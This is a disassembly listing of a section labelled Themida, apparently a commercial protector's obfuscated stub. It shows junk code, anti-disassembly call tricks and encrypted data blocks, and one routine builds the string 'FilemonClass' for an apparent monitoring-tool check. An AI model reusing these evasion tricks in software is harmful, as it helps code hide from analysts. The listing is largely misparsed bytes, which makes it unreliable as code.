		cmp	dword ptr [ebp+7FA32C1h], 0
		jz	loc_635660
		mov	ebx, [ebp+7FA32C1h]
		mov	eax, [ebp+7FA2E05h]
		mov	[ebx], eax


loc_635660:				; CODE XREF: Themida_:0063564Cj
		push	ecx
		push	edx
		lea	eax, [ebp+7FA43ACh]
		call	eax	; _adjust_fdiv
		mov	edi, edx
		mov	esi, ecx
		mov	edx, ecx
		mov	ecx, eax
		rep movsb
		mov	byte ptr [ebp+7FA1571h], 56h
		push	0D41F6D39h
		push	dword ptr [ebp+7FA1E8Dh]
		lea	eax, [ebp+7FE3A58h]
		call	eax	; _adjust_fdiv
		push	8000h
		push	0
		push	edx
		call	eax	; _adjust_fdiv
		mov	eax, eax
		cmp	dword ptr [ebp+7FA16D1h], 0
		jnz	short loc_6356AC
		cmp	dword ptr [ebp+7FA3535h], 0
		jz	short loc_6356C5


loc_6356AC:				; CODE XREF: Themida_:006356A1j
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 421h
		mov	[ebp+7FA112Dh],	eax
		lea	ebx, [ebp+7FD4041h]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_6356C5:				; CODE XREF: Themida_:006356AAj
		cmp	dword ptr [ebp+7FA3535h], 0
		jz	short loc_6356E5
		push	eax
		push	ebx
		mov	eax, 421h
		mov	[ebp+7FA112Dh],	eax
		lea	ebx, [ebp+7FD3CE2h]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_6356E5:				; CODE XREF: Themida_:006356CCj
		mov	eax, eax
		lea	ebx, [ebp+7FA32C1h]
		mov	eax, [ebx]
		or	eax, eax
		jz	loc_6356FE
		mov	eax, [ebx]
		mov	ebx, [ebx+4]
		mov	[eax], ebx


loc_6356FE:				; CODE XREF: Themida_:006356F1j
		mov	eax, 4B41h
		call	sub_635719
		test	al, 11h
		or	[esi], bh
		sub	al, al
		mov	byte ptr [esi-7], 0A0h
		add	ecx, [ebx+38h]
		cli
		retf	6E26h

; =============== S U B	R O U T	I N E =======================================



sub_635719	proc near		; CODE XREF: Themida_:00635703p
		mov	bx, 0F35h
		pop	ecx
		call	near ptr loc_635736+1
		cmp	[ebp-3A4880DCh], eax
		cmp	edx, [eax+54h]
		mov	bl, [ecx-42h]
		fdiv	dword ptr [ebp-19h]
		out	0FEh, al
		db	26h
		pop	edx


loc_635736:				; CODE XREF: sub_635719+5p
		xor	eax, 8158C38Bh
sub_635719	endp ; sp-analysis failed

		shr	ebx, 0E3h
; ---------------------------------------------------------------------------
		dw 0
; ---------------------------------------------------------------------------
		jb	loc_635749
		adc	ah, 2Ah


loc_635749:				; CODE XREF: Themida_:00635740j
		mov	edx, 240A15AAh
		xor	edx, 240A2D62h
		mov	bl, 0ADh


loc_635756:				; CODE XREF: Themida_:006357CFj
		push	dword ptr [ecx]
		xor	bh, 2Eh
		pop	esi
		stc
		add	esi, 60301AC4h
		adc	ebx, 4D3FA50Ch
		sub	esi, 525A4247h
		add	esi, 230373DDh
		pusha
		push	eax
		jmp	loc_63578E
; ---------------------------------------------------------------------------
		dd 4D7E0D01h, 0C208153Eh, 80BA764Fh, 4DCD444Fh
		db 0Bh,	0B5h
; ---------------------------------------------------------------------------


loc_63578E:				; CODE XREF: Themida_:00635777j
		pop	ebx
		sub	cx, 0BD9Bh
		popa
		push	esi
		and	ah, 7Dh
		pop	dword ptr [ecx]
		call	near ptr loc_6357AD+4
		mov	fs, word ptr [edi+386E4890h]
		xchg	edx, [esi-345800C3h]
		std


loc_6357AD:				; CODE XREF: Themida_:0063579Bp
		or	eax, 80802022h
		retn
; ---------------------------------------------------------------------------
		db 63h
; ---------------------------------------------------------------------------
		pop	eax
		sub	ecx, 4
		call	loc_6357C8
		pop	ss
		mov	cl, 0A3h
		movsb
		cld
		imul	esi, 57C56BF2h


loc_6357C8:				; CODE XREF: Themida_:006357B8p
		and	al, 36h
		pop	eax
		sub	edx, 1
		jnz	loc_635756
		mov	bl, 98h
		jmp	short loc_6357EF
; ---------------------------------------------------------------------------
		align 4
		dd 4 dup(0)
		db 0, 2	dup(1)
; ---------------------------------------------------------------------------


loc_6357EF:				; CODE XREF: Themida_:006357D7j
		dec	eax
		pop	es
; ---------------------------------------------------------------------------
		db 2 dup(0), 3
; ---------------------------------------------------------------------------
		or	[edx+0], ch
		push	ebp
		call	sub_635800
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_635800	proc near		; CODE XREF: Themida_:006357F8p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 16h
		inc	ebp
		push	ebp
		retn
sub_635800	endp

; ---------------------------------------------------------------------------
		mov	cl, 3Ah
		push	ebx
		mov	[ebp+7FA3331h],	eax
		push	eax
		mov	ebx, esi
		mov	[esp], eax
		jmp	loc_635834
; ---------------------------------------------------------------------------
		dd 8E7B4329h, 0B24DAAD4h, 740FD888h, 47C9B8DEh
; ---------------------------------------------------------------------------


loc_635834:				; CODE XREF: Themida_:0063581Fj
		push	0
		push	0
		push	ebp
		call	sub_635841
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_635841	proc near		; CODE XREF: Themida_:00635839p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Bh
		inc	ebp
		push	ebp
		retn
sub_635841	endp

; ---------------------------------------------------------------------------
		cmp	eax, 0D050B724h
		and	al, 9Ah
		mov	[ebp+7FA1579h],	ecx
		jnz	loc_63586B
		sub	[ebp+7FA1135h],	edi


loc_63586B:				; CODE XREF: Themida_:0063585Fj
		push	0
		mov	[ebp+7FA03ADh],	esi
		lea	eax, [ebp+8033E4Dh]
		push	0
		push	ecx
		call	sub_635884
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_635884	proc near		; CODE XREF: Themida_:0063587Cp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Ch
		inc	ecx
		push	ecx
		retn
sub_635884	endp

; ---------------------------------------------------------------------------
		push	esi
		and	esp, esp
		sub	eax, 0EF3C1C6Fh
		add	ch, [ecx]
		xchg	eax, ebp
		or	[esi], ebp
		cli
		pop	es
		nop
		mov	edi, 6D42B654h
		push	eax
		call	sub_6358C2
		pminub	mm0, qword ptr [ebx-6B4622C6h]
		add	al, 0D9h
		push	edx
		add	cl, [edx+ebx*8-134F395Eh]
		aas
		xchg	eax, esi

; =============== S U B	R O U T	I N E =======================================



sub_6358C2	proc near		; CODE XREF: Themida_:006358AAp
		mov	edx, eax
		pop	ecx
		nop
		add	edi, [ebp+7FA1A25h]
		push	0
		push	0
		push	edi
		call	sub_6358D9
		and	[edi-3Dh], bl
sub_6358C2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_6358D9	proc near		; CODE XREF: sub_6358C2+Fp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 18h
		inc	edi
		push	edi
		retn
sub_6358D9	endp

; ---------------------------------------------------------------------------
		pop	ebp
		stosb
		cmp	al, 7Dh
		db	36h
		mov	ebx, [ebp+7FA2761h]
		add	[ebp+7FA0895h],	eax
		push	0
		jmp	loc_635911
; ---------------------------------------------------------------------------
		db 4Eh,	0BDh, 0B9h
		dd 36DDB934h, 711E190h,	0BAEAAA3Bh
		db 0Ch
; ---------------------------------------------------------------------------


loc_635911:				; CODE XREF: Themida_:006358FCj
		call	dword ptr [ebp+7FA174Dh]
		push	0
		push	eax
		call	sub_635922
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_635922	proc near		; CODE XREF: Themida_:0063591Ap

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 15h
		inc	eax
		push	eax
		retn
sub_635922	endp

; ---------------------------------------------------------------------------
		jl	short loc_63595B
		movzx	ebx, di
		jns	loc_635940
		movsx	edi, cx


loc_635940:				; CODE XREF: Themida_:00635937j
		jmp	loc_635E31
; ---------------------------------------------------------------------------
		db 81h,	0C7h, 3Bh
		dd 8B4D3E64h, 0FA15619Dh, 0E807h, 815D0000h
		db 0EDh, 52h, 3Eh
; ---------------------------------------------------------------------------


loc_63595B:				; CODE XREF: Themida_:00635932j
		add	ecx, [eax]
		mov	[ebp+7FA2D8Dh],	edi
		push	0
		push	esi
		call	sub_63596E
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_63596E	proc near		; CODE XREF: Themida_:00635966p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 19h
		inc	esi
		push	esi
		retn
sub_63596E	endp

; ---------------------------------------------------------------------------
		dw 301h
		dd 3E0E63FAh, 4E8h, 0FA000h, 4789BA00h,	0E85023E8h, 7
		dd 3294BD2h, 8BED2D62h,	448B5BF8h, 0D88B0424h, 4489008Bh
		dd 8B580424h, 0BF0F60FEh, 95FF61CBh, 7FA012Dh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 0D8C35242h, 0F4057006h
		dd 66CF8B6Fh, 8DD036BBh, 33CD5B5h, 0C75B5208h, 67655206h
		dd 0DDB5896Dh, 0C707FA1Dh, 6E6F0446h, 0CF816C63h, 3FCAB52Fh
		dd 610846C7h, 60007373h, 21498531h, 6A6107FAh, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1404h, 0C3534300h
		dd 0D5858D46h, 0F908033Ch, 9E950h, 9CBF0000h, 4DAD58DFh
		dd 89181CEBh, 31602404h, 0FA1A9DB5h, 148E0F07h,	0E9000000h
		dd 0Fh,	179D7BC8h, 0E9BE788Eh, 0B409F102h, 61708398h, 0CDD95FFh
		dd 6A07FAh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h
		dd 53430000h, 0ED4EEBC3h, 8BBF724Bh, 0FA28E595h, 0FC00B07h
		dd 4E84h, 0EB816600h, 870F1F21h, 6, 9F99C281h, 5EE93A3Dh
		dd 6A000003h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1A042444h, 40000000h, 0D7A9C350h, 54B357B0h,	5E92Fh
		dd 0BCE90000h, 0F05EF95h, 683h,	0B5850900h, 6807FA1Eh
		dd 24BFC3C7h, 0DE9h, 519F9A00h,	0FF0AF3DEh, 17EFF72Ah
		dd 348117B0h, 0BFC2EB24h, 55006A24h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1D04h,	0C3554500h, 0C17F1EC8h
		dd 0EA65C71h, 0FFFC282Bh, 0FA012D95h, 0D1BF0F07h, 3CD5B58Dh
		dd 6A0803h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h
		dd 57470000h, 0C7F373C3h, 34383106h, 51006A36h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1704h,	0C3514100h, 6772238Dh
		dd 46C7A1B7h, 342D3704h, 98D8B31h, 8B07FA18h, 0FA31A19Dh
		dd 846C707h, 0
; ---------------------------------------------------------------------------
		mov	dh, bl
		push	0
		movsx	edx, bx
		lea	eax, [ebp+8033CD5h]
		push	0
		push	ecx
		call	sub_635BB8
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_635BB8	proc near		; CODE XREF: Themida_:00635BB0p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 18h
		inc	ecx
		push	ecx
		retn
sub_635BB8	endp

; ---------------------------------------------------------------------------
		dd 2874B18Eh, 0FEB70FB7h, 2AFDBD89h, 90F807FAh,	0F8B0Fh
		dd 7E80000h, 3E000000h,	0E3E9313Ch, 5A567075h, 8A0F505Fh
		dd 0
		db 90h
; ---------------------------------------------------------------------------
		pusha
		cld
		call	sub_635C02
		xor	[eax+ebp*4-77h], esi
		jg	short loc_635C44

; =============== S U B	R O U T	I N E =======================================



sub_635C02	proc near		; CODE XREF: Themida_:00635BF7p

arg_14		= dword	ptr  18h

; FUNCTION CHUNK AT 00635C60 SIZE 00000019 BYTES

		mov	eax, [ebp+7FA1BC1h]
		pop	edi
		popa
		call	dword ptr [ebp+7FA0CDDh]
		stc
		or	eax, eax
		jz	loc_635C60
		push	0
		push	ecx
		call	sub_635C24
		and	[ecx-3Dh], bl
sub_635C02	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_635C24	proc near		; CODE XREF: sub_635C02+1Ap

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 16h
		inc	ecx
		push	ecx
		retn
sub_635C24	endp

; ---------------------------------------------------------------------------
		dd 0E9878A62h, 1D9h, 0E850006Ah, 3
; ---------------------------------------------------------------------------


loc_635C44:				; CODE XREF: Themida_:00635C00j
		and	[eax-3Dh], bl
		pop	eax
		mov	[esp+4], eax
		add	dword ptr [esp+4], 1Bh
		inc	eax
		push	eax
		retn
; ---------------------------------------------------------------------------
		cmp	edx, esi
		xor	[ebx-71h], esp
		xchg	dh, [ebx]
		xchg	edi, ecx
; START	OF FUNCTION CHUNK FOR sub_635C02


loc_635C60:				; CODE XREF: sub_635C02+11j
		push	40DDDA9h
		mov	ebx, ecx
		xor	[esp-18h+arg_14], 40DDC85h
		push	0
		push	esi
		call	sub_635C79
		and	[esi-3Dh], bl
; END OF FUNCTION CHUNK	FOR sub_635C02

; =============== S U B	R O U T	I N E =======================================



sub_635C79	proc near		; CODE XREF: sub_635C02+6Fp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 15h
		inc	esi
		push	esi
		retn
sub_635C79	endp

; ---------------------------------------------------------------------------
		mov	word ptr [ecx],	fs
		cld
		call	dword ptr [ebp+7FA012Dh]
		push	0
		push	edi
		call	sub_635C9D
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_635C9D	proc near		; CODE XREF: Themida_:00635C95p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 18h
		inc	edi
		push	edi
		retn
sub_635C9D	endp

; ---------------------------------------------------------------------------
		movsb
		daa
		sub	[edi-6E6A76CFh], eax
		add	al, 0FAh
		pop	es
		lea	esi, [ebp+8033CD5h]
		or	dx, 3E58h
		mov	dword ptr [esi], 656C6946h
		mov	[ebp+7FA18F1h],	ecx
		mov	dword ptr [esi+4], 636E6F6Dh
		push	0
		push	eax
		call	sub_635CE1
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_635CE1	proc near		; CODE XREF: Themida_:00635CD9p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Dh
		inc	eax
		push	eax
		retn
sub_635CE1	endp

; ---------------------------------------------------------------------------
		db 97h,	61h, 3Ch
		dd 4ABAE062h, 0FE3BD28h, 18Fh, 46C7F500h, 73616C08h, 57006A73h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1704h, 0C3574700h
		dd 0A900AD9Dh, 0C46C7F8h, 0
; ---------------------------------------------------------------------------
		push	0
		push	esi
		call	sub_635D3B
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_635D3B	proc near		; CODE XREF: Themida_:00635D33p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 17h
		inc	esi
		push	esi
		retn
sub_635D3B	endp

; ---------------------------------------------------------------------------
		cdq
		mov	dl, 7Ch
		mov	word ptr [esi-75h], fs
		cli
		push	0
		mov	ebx, [ebp+7FA16E5h]
		mov	[ebp+7FA31F5h],	eax
		lea	eax, [ebp+8033CD5h]
		push	0
		push	ecx
		call	sub_635D71
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_635D71	proc near		; CODE XREF: Themida_:00635D69p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Bh
		inc	ecx
		push	ecx
		retn
sub_635D71	endp

; ---------------------------------------------------------------------------
		db 54h,	0F7h, 0E9h
		dd 3883A079h, 0B756F842h, 8B9059EFh, 5FB950DEh,	9065D3D8h
		dd 1E15B589h, 95FF07FAh, 7FA0CDDh, 4C99D33h, 0C00B07FAh
		dd 29840Fh, 6A0000h, 3E857h, 5F200000h,	7C895FC3h, 44810424h
		dd 140424h, 57470000h, 0DC8A86C3h, 40E9h, 830F00h, 0E9000000h
		dd 0FFFFFB71h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 19h,	8DC35747h, 0D7DDE07Bh, 0E9505084h, 0Bh,	77D9E3EDh
		dd 0D6F07F87h, 5FC9CD08h, 0BFB58D59h, 6607FA72h, 0B8FA8Bh
		dd 0F000000h, 685h, 33F78100h, 0FF22DF8Eh
		db 0E6h
; ---------------------------------------------------------------------------


loc_635E31:				; CODE XREF: Themida_:loc_635940j
		mov	eax, ecx
		dec	dl
		sbb	edi, ebp
		xor	ch, [eax-75898A68h]
		db	66h
		retn	0A832h
; ---------------------------------------------------------------------------
		stosd
		aad	0EAh
		jnz	short loc_635E84
		retn	0A832h
; ---------------------------------------------------------------------------
		db 86h,	4Ah, 76h
		dd 0AE5DBA8Ah, 764B7357h, 32C32E8Ah, 0EAD5ABA8h, 32C3F175h
		dd 764BA1A8h, 32C0738Ah, 764823A8h, 32C0F58Ah, 0EAD5ABA8h
		dd 0D42F2575h, 1D2910F2h, 1293C003h, 90A75CABh
; ---------------------------------------------------------------------------


loc_635E84:				; CODE XREF: Themida_:00635E44j
		inc	edx
		add	[ecx+1FD12159h], esp
		push	esi
		mov	[ebp+2Fh], ecx
		aam	0B7h
		adc	[ecx], ebp
		sbb	eax, 129BC003h
		stosd
		pop	esp
		cmpsd
		nop
		std
		add	[ecx+6BD12159h], ah
		push	esi
		mov	[ebp+2Fh], ecx
		aam	66h
		adc	[ecx], ebp
		sbb	eax, 12E7C003h
		stosd
		pop	esp
		cmpsd
		nop
		test	eax, 2159A103h
		shl	dword ptr [edi+56h], 1
		mov	[ebp+2Fh], ecx
		aam	0CFh
		adc	ch, [ecx]
		sbb	eax, 12F3C003h
		stosd
		pop	esp
		cmpsd
		nop
		cmp	al, [ebx]
		mov	eax, ds:73D12159h
		push	esi
		mov	[ebp+2Fh], ecx
		aam	59h
		adc	ch, [ecx]
		sbb	eax, 12FFC003h
		stosd
		pop	esp
		cmpsd
		nop
		mov	eax, 2159A102h
		ror	dword ptr [ebx+56h], 1
		mov	[ebp+2Fh], ecx
		aam	0DBh
		adc	ebp, [ecx]
		sbb	eax, 12C7C003h
		stosd
		pop	esp
		cmpsd
		nop
		add	ah, es:[ecx+43D12159h]
		push	esi
		mov	[ebp-3Dh], ecx
		mov	eax, 152A5012h
		fxch7	st(6)
		dec	esi
		shr	byte ptr [eax+ebp*4+4Ah], cl
		std
		mov	al, [ebp-5Eh]
		push	ecx
		repne aad 0C0h
		add	esi, ecx
		inc	esi
		stosb
		xchg	eax, esi
		in	eax, dx
		test	al, 2Ah
		adc	eax, 2429458Ah
		mov	al, ds:0B496E367h
		mov	edx, 54A1D5ADh
		sub	dl, ds:5564C6CBh
		inc	ecx
		mov	edx, 0CE75EAD5h
		arpl	[esi-10CD3EC6h], bp
		lea	eax, [edx+eax*2+2211AB53h]
		jmp	far ptr	0ABA4h:245D55FFh
; ---------------------------------------------------------------------------
		dw 9C3Ah
		dd 0DAC3B9CFh, 0D7E3A8EDh, 0DAF74586h, 0E9EED744h, 59D7CEEAh
		dd 0D2262923h, 51A2B9CFh, 0AD6C54A8h, 51A24162h, 0BFEA6603h
		dd 0DB2FEE27h, 1D293BDDh, 1129475h, 60A0D902h, 0AEAA46E5h
		dd 51A1EC79h, 0DC0941AEh, 16452122h, 3773BA82h,	732ADF10h
		dd 2428C821h, 0EA2257C7h, 152BFD5Bh, 9881508Ch,	52CD3000h
		dd 0A5FBABA0h, 2C89EFD2h, 0E957DDA4h, 0ADE7CEEBh, 15229661h
		dd 0D24ECEDFh, 0FD4AA86Ch, 51A2458Ah, 0C1C0D5F2h, 0DAAA46CEh
		dd 68A15CDDh, 0ADE78286h, 152A54A8h, 0E030BACCh, 9E2DAEAEh
		dd 0FC69CE52h, 0A5B99783h, 0FA31EFE2h, 60A0D9F9h, 0AEAA46E5h
		dd 949A0D79h, 551A2320h, 8481328Ch, 5DDF6E21h, 74D62921h
		dd 985E0001h, 402A5C6Ah, 9521A901h, 15C23454h, 0BA2458Ah
		dd 5001BE29h, 24294D89h, 1957DFA0h, 515E004Dh, 532A54A8h
		dd 5713D775h, 0CDA15352h, 0FC69CE19h, 0A5B9979Bh, 0FA31EFE2h
		dd 60A0D9F9h, 0AEAA46E5h, 949A0D79h, 651A2320h,	8481328Ch
		dd 5DDF6E21h, 74D62921h, 985E0001h, 402A5C6Ah, 9521A901h
		dd 60A13454h, 5DDFCE82h, 15D6116Fh, 0FDA2458Ah,	1DC9953Bh
		dd 919197B9h, 38F2DE04h, 51A2454Ah, 1AD5A828h, 51A25E0Eh
		dd 1523EDA8h, 0A055458Ah, 9025862Dh, 51A24586h,	7332A328h
		dd 37AA8E4Bh, 0BE4C9723h, 0D8AE38A1h, 9E4BA8D5h, 936BB9CFh
		dd 9E7F54A0h, 0AD66C666h, 1D5FDFC8h, 96AE3801h,	152AA8EDh
		dd 0C20E458Ah, 2622B769h, 0FD627658h, 0D5078C22h, 0D1A2458Ah
		dd 9125AB54h, 51A24593h, 152A5D11h, 0D453B28Ah,	1FAF5B7Ah
		dd 0E0A2458Ah, 93E25610h, 9191EF4Bh, 19577F03h,	305E3803h
		dd 0DCD61123h, 4A24D48h, 0D1A9B823h, 24292576h,	1957DFA0h
		dd 515E004Dh, 0B92A54A8h, 0B2229D00h, 85E1D4A7h, 0DC088600h
		dd 16452122h, 0E173BA82h, 9FA7FEF8h, 59A12AFFh,	0D6A08557h
		dd 5DDF6E20h, 74D62921h, 985E0001h, 402A5C6Ah, 9521A901h
		dd 60A13454h, 5DDFCE82h, 15D6116Fh, 0E9A2458Ah,	152A54AFh
		dd 4937D775h, 45265352h, 2428C820h, 0EA2257C7h,	0FB2BF55Bh
		dd 3186949Bh, 59622E85h, 0A58050ACh, 2C89EFAEh,	0E957DDA4h
		dd 0ADE7CEEBh, 15229661h, 0D24ECEDFh, 9E4AA86Ch, 2C294DFFh
		dd 0E96F93A4h, 51A2458Ah, 87D5FE04h, 5658433Bh,	17868C23h
		dd 0DB2FEF49h, 1D293BDDh, 0E9C49475h, 0BE4CBD28h, 7A088600h
		dd 68A358D5h, 14292476h, 1DE89D54h, 0BD29108Ah,	75D6902Bh
		dd 0DAAA3001h, 50ED58D5h, 51A24576h, 0EA80F8A8h, 0ABA4F418h
		dd 0B9E2DFAFh, 0DC088558h, 16452132h, 3771BA82h, 73E39410h
		dd 0FB63CF21h, 9C262983h, 0DAC3B9F7h, 0D7E3A8EDh, 0DAF74582h
		dd 0E9EED744h, 59D7CEEAh, 0D2262923h, 51A2B9CFh, 0BF8654A8h
		dd 5713D775h, 0DDA15352h, 0FB637726h, 7A5FCE25h, 825D4D89h
		dd 0E4AAECCEh, 9028EEECh, 19577F02h, 305E3803h,	0DCD61123h
		dd 4A24D48h, 0D1A9B823h, 24292576h, 1957DFA0h, 515E004Dh
		dd 732A54A8h, 376B7732h, 60B0D903h, 0AEAA46E5h,	9592327Bh
		dd 0FD09234Bh, 6801FE04h, 0ADDFCC86h, 0E96FDFC9h, 51AA8743h
		dd 96C6DFFDh, 0DAC2B94Eh, 68A15CDDh, 0ADE78286h, 152A54A8h
		dd 0B824FDECh, 8FA7FFCEh, 59A12AFFh, 0A09A8757h, 0FB0E0320h
		dd 7A5FCE25h, 825D4D89h, 0D8ACECCEh, 2C89EEECh,	0E957DDA4h
		dd 0ADE7CEEBh, 15229661h, 0D24ECEDFh, 0FD4AA86Ch, 51A2458Ah
		dd 0E9C0D5F2h, 96AA46CDh, 152AA8EDh, 2429458Ah,	1957DFA0h
		dd 5E917926h, 152A1E2Ch, 5E89798Ah, 152A162Ch, 5ECA798Ah
		dd 152A492Ch, 5E13798Ah, 152A382Ch, 5EF2798Ah, 152A5C2Ah
		dd 5EFA798Ah, 152A6B2Ah, 51D6AC8Ah, 60D554A8h, 59D7BA86h
		dd 561BCE25h, 0DCF14D89h, 166E5C32h, 0D871BA82h, 42C3A8EDh
		dd 0AEA2458Ah, 60D558DDh, 1038C882h, 462257EBh,	15AADF07h
		dd 0C6D55CABh, 0B85E0003h, 152A5492h, 0AEAE3075h, 8FA75CDDh
		dd 59A106C7h, 1DB0D9FBh, 0AEAA46CEh, 0E96FDD7Bh, 51A25863h
		dd 195FABA8h, 0DCAA3075h, 16690D32h, 0CB2F1682h, 1D2910A0h
		dd 142B9675h, 152ABD54h, 0DAC3458Ah, 0D7E3A8EDh, 44BA4582h
		dd 0E8000030h, 14h, 518A3CC9h, 0B36F0A03h, 293DF0ECh, 9ED0FC1Dh
		dd 0BF5E0385h, 0F55878B5h, 6E98C081h, 840F0000h, 5, 602DFB9h
		dd 1B6BBB0Bh, 0EF810000h, 50D26140h, 0CE9108Bh,	28000000h
		dd 0B436D9F0h, 0D999242Fh, 81F43D9Dh, 1A177DF2h, 0EE816645h
		dd 0EA817CD7h, 13ED5BCBh, 8933C281h, 0E96010C4h, 0Bh, 147601A4h
		dd 0FFA17A9h, 8155B386h, 2AD838F6h, 10896142h, 0BE9h, 330A4F00h
		dd 5D7B884Bh, 3CA8D13Fh, 4802E883h, 0B5B96648h,	1EB810Eh
		dd 0F000000h, 2B85h, 0C8A0F00h,	0F000000h, 687h, 0ABD78100h
		dd 0E92F0E86h, 3Ch, 5BFF01BFh, 743141FEh, 427F89A8h, 0AF3E079Eh
		dd 0D25539FFh, 5E8h, 28EDED00h,	0F8609D76h, 61C88B66h
		dd 0FF56E95Eh, 0BE52FFFFh, 115F4903h, 0FB36F675h, 28350AE1h
		dd 7A13F7AEh, 28619D8Dh, 0E4B807FAh, 89000023h,	0FA02C185h
		dd 0E807h, 5580000h, 0Dh, 0E4E90389h, 23h, 8F8h	dup(0)
		dd 55000000h, 5E75FDEDh, 0A476F67Ah, 0BC56E669h, 4780FD49h
		dd 69E6FD19h, 7E27FD19h, 0F385FD19h, 3777FD19h,	0D56DFD19h
		dd 0A44AFD19h, 1C2BFD19h, 4006FD19h, 694DFD19h,	7E1AFD19h
		dd 0F47FFD19h, 37D8FD19h, 0D5B9FD19h, 0A49AFD19h, 1A46FD19h
		dd 47AAFD19h, 259DFD19h, 2295358Ah, 4A76D6A2h, 0BD5CDE71h
		dd 5A5CF44Bh, 2775FD7Ah, 9775F572h, 0CB74FD79h,	0ED73FD78h
		dd 0F374F57Dh, 7874FC7Bh, 0BC75FC7Bh, 5E75FD7Ah, 0A976FD7Ah
		dd 4759FD5h, 0CB759FCAh, 0E475FD7Ah, 0F374FC7Bh, 9074FC7Bh
		dd 0BC75F8B2h, 85F0701Ah, 0A67DFE0Bh, 941BEFFFh, 3AF07072h
		dd 6C7DFE0Bh, 0F1182FFFh, 56F07072h, 357DFE08h,	5D1BF3FFh
		dd 0A0F07072h, 1E7DFE0Bh, 0C8182BFFh, 0ABF07072h, 7B7DFE0Bh
		dd 7A1827FFh, 50F07072h, 0D77DFE15h, 2C1823FFh,	69F07072h
		dd 427DFE15h, 0E6181FFFh, 0E6F07072h, 0F07DFE0Ah, 0BF181BFFh
		dd 31F07072h, 0A67DFE0Ah, 94180FFFh, 0F0F07072h, 6C7DFE0Ah
		dd 0F11817FFh, 23F07072h, 357DFE0Ah, 5D1813FFh,	40F07072h
		dd 1E7DFE0Ah, 0C8180FFFh, 4CF07072h, 7B7DFE0Ah,	7A1BFFFFh
		dd 74F07072h, 0D77DFE0Ah, 2C1BFBFFh, 7CF07072h,	427DFE0Ah
		dd 0E61BF7FFh, 0C6F07072h, 0F07DFE0Bh, 0BF180BFFh, 35F07072h
		dd 0A67DFE0Bh, 941807FFh, 0CDF07072h, 6C7DFE08h, 0F11803FFh
		dd 0C8F07672h, 3572077Ch, 5D1BB6FFh, 0BAF07672h, 1E720762h
		dd 0C81BB2FFh, 0B0B69C72h, 0F29D11F1h, 2375FD7Ah, 0D32A17FBh
		dd 0D525F579h, 0ADFDF53Fh, 9F769330h, 0CFB73422h, 0B723AC7Ah
		dd 1A20AD29h, 7975FD7Ah, 3C987C27h, 0A07DFE15h,	2C182CFFh
		dd 46C87D72h, 0CF7DFE17h, 0E4C5B409h, 0F9B54B75h, 863589BAh
		dd 0BF1BB2EFh, 96FEBD72h, 2F7A452Bh, 28AFD7Ah, 0C3769335h
		dd 88A748F7h, 0C6F8F579h, 4B9D50FCh, 0CF75FD7Eh, 5E76456Fh
		dd 0BA8AFD7Ah, 9F769335h, 0A6A748F7h, 0D1F8F579h, 228A50FCh
		dd 87BC1F23h, 0BF182CF7h, 52DA072h, 0EC2CA320h,	97776D92h
		dd 0C1CD4D7Ah, 708A5779h, 0FA769331h, 79D3ED1h,	0DA75FD78h
		dd 54CD9BC2h, 0D0DE9B59h, 941BB6EFh, 8DE9B72h, 0E5779592h
		dd 0F3360B7Ah, 866E8872h, 0BF1BB6EFh, 54C54D72h, 0BA8AAD79h
		dd 9F769331h, 2BF69B20h, 277E9B7Eh, 1AB6561Ch, 7975FF6Bh
		dd 0BE4E1529h, 652FFD7Ah, 0A57B89A0h, 94913D59h, 7F5DF70h
		dd 83FE4DBAh, 9D3ED1h, 2A75FD7Bh, 0BC77E192h, 844EA77Ah
